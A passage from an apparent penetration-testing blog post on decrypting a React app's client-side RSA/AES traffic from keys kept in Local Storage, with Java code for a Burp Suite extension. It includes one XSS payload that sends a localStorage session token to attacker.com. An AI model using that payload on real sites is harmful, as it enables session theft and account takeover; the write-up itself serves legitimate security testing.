&lt;p&gt;In order to actually perform this pentest, that is, to see what&#x27;s being passed in the requests and later manipulate them or interact with them, we need to understand how the application is sending this information to the client and also to the server. This web application in question is built in React.js, so we just need to analyze the JavaScript files.&lt;&#x2F;p&gt;
&lt;p&gt;Analyzing the source code, I searched for references like &lt;code&gt;privateKey&lt;&#x2F;code&gt;, &lt;code&gt;encrypt&lt;&#x2F;code&gt;, &lt;code&gt;decrypt&lt;&#x2F;code&gt; and other keywords and found some points in the code that were essential for me to understand where the cryptographic keys were stored and how they were later used. Inside the JavaScript file, the word &lt;code&gt;StorageItems&lt;&#x2F;code&gt; caught my attention and made me look at the browser&#x27;s Storage tab.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image2.png&quot; alt=&quot;Browser DevTools Storage tab showing encrypted values in Local Storage&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image3.png&quot; alt=&quot;Local Storage properties: iv, privateKey, publicKey, symmetricKey&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see in the image above that there are several properties in our browser&#x27;s local storage, these are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iv_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;privateKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;publicKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;symmetricKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The value of all these properties are encrypted information encoded in Base64, I believe to ensure compatibility in sending and receiving information, preventing any invalid character from being sent or lost in this process. Now that we know the private key, symmetric key, IV and public key are easily accessible, we need to analyze the source code even more to see how they&#x27;re being used.&lt;&#x2F;p&gt;
&lt;p&gt;In the following image, we can collect the names of several functions that are later used by the application to obtain raw data, such as &lt;code&gt;getEncryptedIvKey&lt;&#x2F;code&gt;, &lt;code&gt;getEncryptedSymmetricKey&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyRSA&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyBase64&lt;&#x2F;code&gt; and some others. We also found some references to the algorithm used, which is PKCS1 and later converted to Base64.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image4.png&quot; alt=&quot;JavaScript source showing encryption function names and PKCS1 references&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image5.png&quot; alt=&quot;Decryption flow in the JavaScript source code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Based on continuous source code analysis, we discovered relevant points such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RSA-2048 is used for &lt;em&gt;key wrapping&lt;&#x2F;em&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;For data encryption, AES-256-CBC is used;&lt;&#x2F;li&gt;
&lt;li&gt;The IV is kept in hex format, which is unnecessary.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With this in mind, it becomes easy to understand the data encryption flow and how they&#x27;re passed along. First, the application collects the encrypted information along with the keys that are used for it, then it decrypts the symmetric key and IV using the RSA private key, after that, it decrypts the information using AES-CBC along with the symmetric key and IV previously obtained, then we remove the padding and parse the JSON, which will return the JSON in clear text for us.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image6.png&quot; alt=&quot;Full decryption flow diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To check if we&#x27;re on the right path, I developed a simple Python script that will use the Crypto library and will receive each of these properties statically, replicate the process executed by the application and in the end return the JSON to us. Below I&#x27;ll be attaching the Python script code with comments about each section of it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image7.png&quot; alt=&quot;Python decryption script with Crypto library&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;ll replace all the &lt;code&gt;PLACEHOLDERS&lt;&#x2F;code&gt; in the code with the content that&#x27;s stored locally in the browser and run the script. Since in this case everything was correct (fortunately), we have the JSON with data in clear text, which proves that the process of decrypting the information is possible on the client side without the need for direct intervention from the web application. This is where security through obscurity happens, it&#x27;s believed that data is being transmitted much more securely because it&#x27;s encrypted, but actually since the client needs the private keys to also be able to send them encrypted to the server and later read them, there&#x27;s no other choice but for the developer to make the client have access to them.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image8.png&quot; alt=&quot;Python script output showing decrypted JSON in clear text&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Essentially, being able to decrypt information in clear text isn&#x27;t a vulnerability, it&#x27;s just an insufficient layer of protection that the developer imposed on the application. This is minimally useful because it will make life harder for the attacker who will have to do this same process (or something similar) to be able to exploit other vulnerabilities in the application. However, without being able to reverse this process, I can say that the chance of me finding any vulnerability in the application later is extremely low, because I won&#x27;t understand what&#x27;s happening, that is, blind pentesting.&lt;&#x2F;p&gt;
&lt;p&gt;In other scenarios from some articles that can be found on the internet, including one in the references section, the researcher demonstrates how he bypassed this encryption and later found some high-impact vulnerabilities in the application, this shows that, is the additional layer of protection important? Yes! Does it prevent vulnerabilities? Obviously not. That&#x27;s why security is several layers and not just one that will temporarily cover an attacker&#x27;s eyes.&lt;&#x2F;p&gt;
&lt;p&gt;Another relevant point is the storage of sensitive information in Local Storage. Many developers believe that just by storing sensitive information in other places, or for example, introducing protections in session cookies so that XSS attacks can&#x27;t steal them is good enough, but what about Local Storage? It&#x27;s not protected and its use isn&#x27;t recommended for this, mainly because if we go back a few steps, in addition to the mentioned properties, there&#x27;s one that stores precisely the user&#x27;s session JWT. So with an XSS, it would still be possible to escalate to an Account Takeover. For example, the following XSS payload reads the &quot;token&quot; property from Local Storage and sends it to an external server, which was used in a real pentest to escalate an XSS to Account Takeover.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;javascript:(function(){window.location.href=&amp;#39;https:&#x2F;&#x2F;attacker.com&#x2F;&#x2F;&amp;#39;+localStorage.getItem(&amp;#39;token&amp;#39;)})()&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;burp-suite-extension&quot;&gt;Burp Suite Extension&lt;&#x2F;h2&gt;
&lt;p&gt;The problem is that this whole process from the Python code would make the process kind of slow and not so automatic, so as a challenge, I set myself to develop a local extension for Burp Suite so I could automate this process. Extensions for Burp Suite can be made in several languages like Python (Jython), Ruby (JRuby) and Java which is Burp Suite&#x27;s native language. Initially I thought about using Jython for this, the problem? It&#x27;s limited to Python 2.7 and I don&#x27;t have practice with Ruby, therefore, I opted to do it in Java, which previously cost me 5 hours and a lot of headache, but in the end it worked.&lt;&#x2F;p&gt;
&lt;p&gt;Looking for information on how to develop this extension, PortSwigger itself offers a template to create your extension, which helped me a lot to have the project base. Another extremely fundamental piece (and possibly without it, I would have taken many more hours) was &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;the article by researcher Hosam Gemei&lt;&#x2F;a&gt; who developed a simple extension for the same situation as mine!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image9.png&quot; alt=&quot;Hosam Gemei&amp;#39;s Burp Suite extension article&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Burp Suite extensions use the Montoya API to interact with various Burp Suite actions. When the extension is loaded, Burp Suite invokes the &lt;code&gt;BurpExtension.initialize(MontoyaApi)&lt;&#x2F;code&gt; method and later creates an instance of the Montoya API interface, from this, our extension can interact with various Burp Suite functionalities.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;imagemontoya.png&quot; alt=&quot;Montoya API structure and BurpExtension initialize method&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, with full help from Hosam Gemei&#x27;s project source code, since the situations were practically identical, I started the extension development process, which seemed like a simple process at first, but due to some needs, ended up taking a few more hours. My initial idea was to do like the Python script and define the keys and content statically in the source code, as in the example below:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;Constants&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; EXTENSION_NAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; CAPTION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt Extension&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; LOADED_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension loaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; UNLOAD_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension unloaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PUBLIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENC_PARAMETER_REQ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; KEY_ALGORITHM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;AES&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_SYMMETRIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_IV_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PRIVATE_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, what gain would I have if I had to keep manually editing in case the keys changed and have to compile the extension JAR again? None! So the only difference between my extension and Hosam Gemei&#x27;s is that I added an extra window where I define the keys statically from Burp Suite&#x27;s own graphical interface, which was a very positive gain. To develop this window was quite simple, we just use JPanel which is basically a container from the Swing library that allows adding components like buttons, input fields, developing layouts, sections and others. The structure is quite simple:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SettingsTab.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package ui&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import burp.api.montoya.MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import helpers.ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import javax.swing.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import java.awt.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;SettingsTab&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt; montoya;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; config;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; SettingsTab&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;MontoyaApi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; api&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.montoya&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; api;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.config&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ConfigManager.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getInstance&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        createUI&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; createUI&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagLayout&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt; gbc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.fill&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; GridBagConstraints.HORIZONTAL;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.insets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; Insets&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        int&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Private Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; privateKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Public Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; publicKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted Symmetric Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encSymKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
